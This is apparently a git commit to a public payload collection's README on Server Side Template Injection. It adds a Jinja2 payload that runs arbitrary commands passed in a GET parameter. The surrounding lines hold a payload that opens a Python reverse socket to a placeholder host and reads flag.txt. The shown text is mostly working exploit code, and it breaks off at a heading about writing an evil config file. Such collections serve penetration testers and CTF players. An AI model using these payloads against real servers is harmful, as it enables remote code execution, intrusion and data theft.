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Improvement to the SSTI RCE

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chiv 2020-03-09 18:19:33 +00:00
parent 1f3a94ba88
commit fe4bdb0df4
1 changed files with 7 additions and 0 deletions
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Server Side Template Injection/README.md
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@ -314,6 +314,13 @@ nv -lnvp 8000
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
```
Simply modification of payload to clean up output and facilitate command input (https://twitter.com/SecGus/status/1198976764351066113)
In another GET parameter include a variable named "input" that contains the command you want to run (For example: &input=ls)
```python
{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%}
```
#### Exploit the SSTI by writing an evil config file.
```python